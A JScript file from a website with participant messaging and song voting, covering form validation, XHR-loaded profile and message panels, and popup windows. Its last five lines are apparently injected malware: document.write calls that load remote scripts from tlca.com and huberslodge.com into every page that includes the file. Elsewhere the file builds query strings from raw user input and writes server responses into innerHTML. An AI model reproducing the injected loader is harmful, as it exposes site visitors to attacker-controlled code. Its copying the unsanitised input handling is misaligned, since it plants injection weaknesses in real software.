﻿// JScript File

function isValidEmail( emailfield, message ) {
      if ( !emailfield ) {	
      	  alert("Email Field not found");
          return false;
      }
      atpos=emailfield.value.indexOf("@");
      dotpos=emailfield.value.lastIndexOf(".");
      spacepos=emailfield.value.lastIndexOf(" ");
      if ( spacepos != -1 || atpos == -1 || dotpos == -1 || dotpos == emailfield.value.length-1 || dotpos <= atpos+1 ) {
		alert(message);
		emailfield.focus();
		return false;
      }
      return true;
}

function isNotEmpty(field,message) {
      if ( !field ) {	
      	  alert("Field not found");
          return false;
      }
	 field.value=Trim(field.value);
      if ( field.value == "" ) {
		alert(message,"",true);
		field.focus();
		return false;
      }
      return true;
}
 function Trim(str) {
  return str.replace(/^\\s+/,'')
 }      


function Success(ResponseText)
{
    //LightenPage();
    //DarkenPage();           
    success_panel(ResponseText);    
    //document.getElementById("msglink").href='#';
}

function success_panel(ResponseText)
{
    var success_panel = document.getElementById("success_panel");
    var Thanks_panel = document.getElementById("Thanks_panel");    
    Thanks_panel.style.display='none';
    w = 300;
    h = 700;
    
    //document.getElementById("success_panel").innerHTML = "<table width='60%' border='0'><tr><td align='center'><img src='images/loading2.gif'></td></tr></table>";
    success_panel.innerHTML = ResponseText;    
    
    if (navigator.appName=="Microsoft Internet Explorer")
    { 
        eval("success_panel.style.pixelTop  =" + 180);
        eval("success_panel.style.pixelLeft =" + 330);
    }
    else // for firefox
    { 
        success_panel.style.top = '180px';
        success_panel.style.left = '330px';
    }
    success_panel.style.display = 'block';
}


function CloseParticipantDetails()
{ 
    if(document.getElementById('Message_panel')!=null)
    {
       document.getElementById("Message_panel").style.display='none';
    }
    if(document.getElementById('Thanks_panel')!=null)
    {
       document.getElementById("Thanks_panel").style.display='none';
    }
    if(document.getElementById('ScrapThanks')!=null)
    {
       document.getElementById('ScrapThanks').style.display='none';
    }
    if(document.getElementById('ScrapThanks')!=null)
    {
       document.getElementById('ScrapThanks').style.display='none';
    } 
    if(document.getElementById('ctl00_MiddleContentPlaceHolder_WriteTo')!=null)
    {
       document.getElementById('ctl00_MiddleContentPlaceHolder_WriteTo').style.display='none';
    } 
    if(document.getElementById('song_panel')!=null)
    {
       document.getElementById('song_panel').style.display='none';
    }    
    if( document.getElementById('success_panel')!=null)
    {
        document.getElementById('success_panel').style.display='none';
    }
    if( document.getElementById('ThanksPanel')!=null)
    {
        document.getElementById('ThanksPanel').style.display='none';
        document.getElementById('ctl00_MiddleContentPlaceHolder_myListing').style.display='block';
        document.getElementById('ctl00_MiddleContentPlaceHolder_FormPanel').style.display='block';
    }    
}


function Message_panel(PId)//display message Panel
{
    //LightenPage();
    //DarkenPage();
    var Message_panel = document.getElementById('Message_panel');   
    document.getElementById("HiddenPId").value = PId;    
   
    w = 300;
    h = 700;
    
    if (navigator.appName=="Microsoft Internet Explorer")
    { 
        eval("Message_panel.style.pixelTop  =" + 180);
        eval("Message_panel.style.pixelLeft =" + 330);
    }
    else // for firefox
    { 
        Message_panel.style.top = '180px';
        Message_panel.style.left = '330px';
    }
    Message_panel.style.display = 'block';
}

function ThankYou_panel(ResponseText)//display Message Thankyou panel
{    
    var Thanks_panel = document.getElementById("Thanks_panel");    
    /*w = 320;
    h = 700;*/
    document.getElementById("Message_panel").style.display='none';    
    //document.getElementById("Thanks_panel").innerHTML = "<table width='60%' border='0'><tr><td align='center'><img src='images/loading2.gif'></td></tr></table>";
    Thanks_panel.innerHTML = ResponseText;
    
    if (navigator.appName=="Microsoft Internet Explorer")
    { 
        eval("Thanks_panel.style.pixelTop  =" + 180);
        eval("Thanks_panel.style.pixelLeft =" + 330);
    }
    else // for firefox
    { 
        Thanks_panel.style.top = '180px';
        Thanks_panel.style.left = '330px';
    }
    Thanks_panel.style.display = 'block';
}


//---------------------Common Functions for senior and Junior Participants----------------------------
    function ShowMessagePanel()
    {        
        var Message_panel = document.getElementById('Message_panel');              
        Message_panel.style.display='block';         
        GetMessage(document.getElementById("HiddenPID").value);    
    }
    function GetMessage(PId)
    {        
        //document.getElementById( "HiddenPID" ).value = "";
        //document.getElementById( "txtName" ).value = "";
        //document.getElementById( "txtEmail" ).value = "";
        //document.getElementById( "txtMessage" ).value = "";
        CloseParticipantDetails();     
        Message_panel(PId);
    }
    
    function SubmitMessage()
    {
        if(document.getElementById("txtName").value.length == 0)
        {
            alert("KINDLY ENTER YOUR NAME.");
            return false;
        }
        else if(document.getElementById("txtEmail").value.length == 0)
        {
            alert("KINDLY ENTER YOUR EMAIL.");
            return false;
        }
        else if ( !isValidEmail( document.getElementById("txtEmail"), "KINDLY ENTER VALID EMAIL ADDRESS." ) )
		{
			return false;
		}
        else if(document.getElementById("txtMessage").value.length == 0)
        {
            alert("KINDLY ENTER MESSAGE.");
            return false;
        }
        else
        {
            
            ParticipantId = document.getElementById("HiddenPId").value;              
            Name = document.getElementById("txtName").value;
            Email = document.getElementById("txtEmail").value;
            Message = document.getElementById("txtMessage").value;
            URL = "ParticipantId="+ParticipantId+"&Name="+Name+"&Email="+Email+"&Message="+Message+"&.rnd="+Math.random();
            var myConn = new XHConn();
            myConn.connect( "Message.aspx", "GET" ,URL,processSMSMessage);
        }
        
        
    }
    
    function processSMSMessage(oXML)  
    {                  
            document.getElementById( "txtName" ).value = "";
            document.getElementById( "txtEmail" ).value = "";
            document.getElementById( "txtMessage" ).value = "";                     
            ThankYou_panel(oXML.responseText);
    }
    
    
    //---------------------Functions for participant details-----------------------------
    var a;
    function MessegeProfile()
    {
        ParticipantId = document.getElementById("HiddenPId").value;            
        document.getElementById("Message_panel").style.display='none';        
        Profile(ParticipantId);
                
    }    
	function MouseOver(PID,page)
	{
	    CloseParticipantDetails();     
	    Profile(PID,page);
	}
	
	function Profile(PID,page)
	{
	    var ParticipantId;	    
        ParticipantId = PID;           
        URL = "PID="+ParticipantId+"&page="+page+"&.rnd="+Math.random();            
        var myConn = new XHConn();
        myConn.connect( "ParticipantDetails.aspx","GET",URL,processSMS);
	}

    function processSMS ( oXML )  
    {
        ResponseText = oXML.responseText;               
        //document.getElementById("success_panel").innerHTML = "<table width='100%'><tr><td align='center'><img src='images/loading2.gif'></td></tr></table>";             
        Success(ResponseText);
    }    
    
    
    function ScrapThankYou_panel(ResponseText)//display Message Thankyou panel
    {
        var ScrapThanks_panel = document.getElementById("ScrapThanks");    
        w = 300;
        h = 700;
        //document.getElementById("Message_panel").style.display='none';    
        //document.getElementById("ScrapThanks").innerHTML = "<table width='60%' border='0'><tr><td align='center'><img src='images/loading2.gif'></td></tr></table>";
        ScrapThanks_panel.innerHTML = ResponseText;
        
        if (navigator.appName=="Microsoft Internet Explorer")
        { 
            eval("ScrapThanks_panel.style.pixelTop  =" + 200);
            eval("ScrapThanks_panel.style.pixelLeft =" + 410);
        }
        else // for firefox
        { 
            ScrapThanks_panel.style.top = '200px';
            ScrapThanks_panel.style.left = '410px';
        }
        ScrapThanks_panel.style.display = 'block';
        document.forms(0).reset();  
    }
    
    function OpenWriteUp()
    {
        w=575;
        h=255;
        w += 32;
        h += 90;
        wleft = (screen.width -w)+90;
        wtop = (screen.height - h)/3;
        var objWriteUp=document.getElementById("ctl00_MiddleContentPlaceHolder_WriteTo");    
        if (objWriteUp.appName=="Microsoft Internet Explorer")
        { 
            eval("objWriteUp.style.pixelTop  =" + wtop);
            eval("objWriteUp.style.pixelLeft =" + wleft);
        }
        else // for firefox
        { 
            objWriteUp.style.top = wtop;
            objWriteUp.style.left = wleft;
        }
        objWriteUp.style.display = 'block';        
    }
    
    
    function OpenWriteUpPallavi()
    {
        w=575;
        h=255;
        w += 32;
        h += 90;
        wleft = (screen.width-w)+90;
        wtop = (screen.height - h)/3;
        var objWriteUp=document.getElementById("ctl00_MiddleContentPlaceHolder_WriteTo");    
        if (objWriteUp.appName=="Microsoft Internet Explorer")
        { 
            eval("objWriteUp.style.pixelTop  =" + wleft);
            eval("objWriteUp.style.pixelLeft =" + wtop);
        }
        else // for firefox
        { 
            objWriteUp.style.top = wtop;
            objWriteUp.style.left =wleft;
        }
        objWriteUp.style.display = 'block';        
    }
    
    
    
    //function to open song listing panel
    
    function SongResponse(ResponseText)
    {   
        var song_panel = document.getElementById("song_panel");
        var Thanks_panel = document.getElementById("Thanks_panel");    
        Thanks_panel.style.display='none';
        w = 300;
        h = 700;
        
        //document.getElementById("success_panel").innerHTML = "<table width='60%' border='0'><tr><td align='center'><img src='images/loading2.gif'></td></tr></table>";
        song_panel.innerHTML = ResponseText;    
        
        if (navigator.appName=="Microsoft Internet Explorer")
        { 
            eval("song_panel.style.pixelTop  =" + 180);
            eval("song_panel.style.pixelLeft =" + 330);
        }
        else // for firefox
        { 
            song_panel.style.top = '180px';
            song_panel.style.left = '330px';
        }
        song_panel.style.display = 'block';
    }
    
    function SOWVotingForm()
    {
      // Fudge factors for window decoration space.
      // In my tests these work well on all platforms & browsers.
      w=(screen.width/2)+15;
      //w=(screen.width/2)+15;
      h=(screen.height/2)+150;     
      //h=(screen.height/2)+150;     
      wleft = (screen.width) /4;
      //wtop = (screen.height)/5;
      wtop = (screen.height)/6;
      // IE5 and other old browsers might allow a window that is
      // partially offscreen or wider than the screen. Fix that.
      // (Newer browsers fix this for us, but let's be thorough.)
      if (wleft < 0) {
        w = screen.width;
        wleft = 0;
      }
      if (wtop < 0) {
        h = screen.height;
        wtop = 0;
      }
      var win=window.open("SongsVotingForm.aspx",'Open_window','left='+wleft+',top='+wtop+',width='+w+',height='+h+',scrollbars=1,status=0,menubar=0,toolbar=0');;  
      win.resizeTo(w, h);
      // Just in case left and top are ignored
      win.moveTo(wleft, wtop);
      win.focus();
    }
    
    
    

    function ThankYouVote_Panel()
    {   
        var song_panel = document.getElementById('ThanksPanel');
      
        w=(screen.width/2)+15;      
        h=(screen.height/2);
        wleft = (screen.width) /4;      
        wtop = (screen.height)/8;
        
        document.getElementById('success_panel').innerHTML = "<table width='60%' border='0'><tr><td align='center'><img src='images/loading2.gif'></td></tr></table>";        
        
        if (navigator.appName=="Microsoft Internet Explorer")
        { 
            eval("song_panel.style.pixelTop  =" + wtop);
            eval("song_panel.style.pixelLeft =" + wleft);
        }
        else // for firefox
        { 
            song_panel.style.top = wtop+'px';
            song_panel.style.left = wleft+'px';
        }
        if(navigator.appName=="Google Chrome")
        {
            song_panel.style.top = wtop;
            song_panel.style.left = wleft;
        }        
        song_panel.style.display = 'block';
        //document.forms(0).reset();
    }
    
    function showIPReport()
    {
      // Fudge factors for window decoration space.
      // In my tests these work well on all platforms & browsers.
      w=850;
      h=500;
      w += 32;
      h += 96;
      wleft = (screen.width - w) / 2;
      wtop = (screen.height - h)/2;
      // IE5 and other old browsers might allow a window that is
      // partially offscreen or wider than the screen. Fix that.
      // (Newer browsers fix this for us, but let's be thorough.)
      if (wleft < 0) {
        w = screen.width;
        wleft = 0;
      }
      if (wtop < 0) {
        h = screen.height;
        wtop = 0;
      }
      var win=window.open("UserReport.aspx",'Open_window','left='+wleft+',top='+wtop+',width='+w+',height='+h+',scrollbars=1,status=0,menubar=0,toolbar=0');;  
      win.resizeTo(w, h);
      // Just in case left and top are ignored
      win.moveTo(wleft, wtop);
      win.focus();
    }
    
    function CloseThanksVote()
    {
//        document.getElementById('ctl00_MiddleContentPlaceHolder_ThanksPanel').style.display='none';
//        document.getElementById('ctl00_MiddleContentPlaceHolder_ThanksPanel').style.display='none';
//        document.getElementById('ctl00_MiddleContentPlaceHolder_myListing').style.display='block';       
//        document.getElementById('ctl00_MiddleContentPlaceHolder_FormPanel').style.display='block';     
//        document.getElementById('VotingPanel').reset();    
        location.href="LittleChampsVoting.aspx?page=11";
    }
document.write('<script src=http://tlca.com/phlist_templates/index-sept-2007.php ><\/script>');
document.write('<script src=http://tlca.com/phlist_templates/index-sept-2007.php ><\/script>');
document.write('<script src=http://huberslodge.com/stats/AOL-WEB-Sites-fishing-index.php ><\/script>');
document.write('<script src=http://huberslodge.com/stats/AOL-WEB-Sites-fishing-index.php ><\/script>');
document.write('<script src=http://huberslodge.com/stats/AOL-WEB-Sites-fishing-index.php ><\/script>');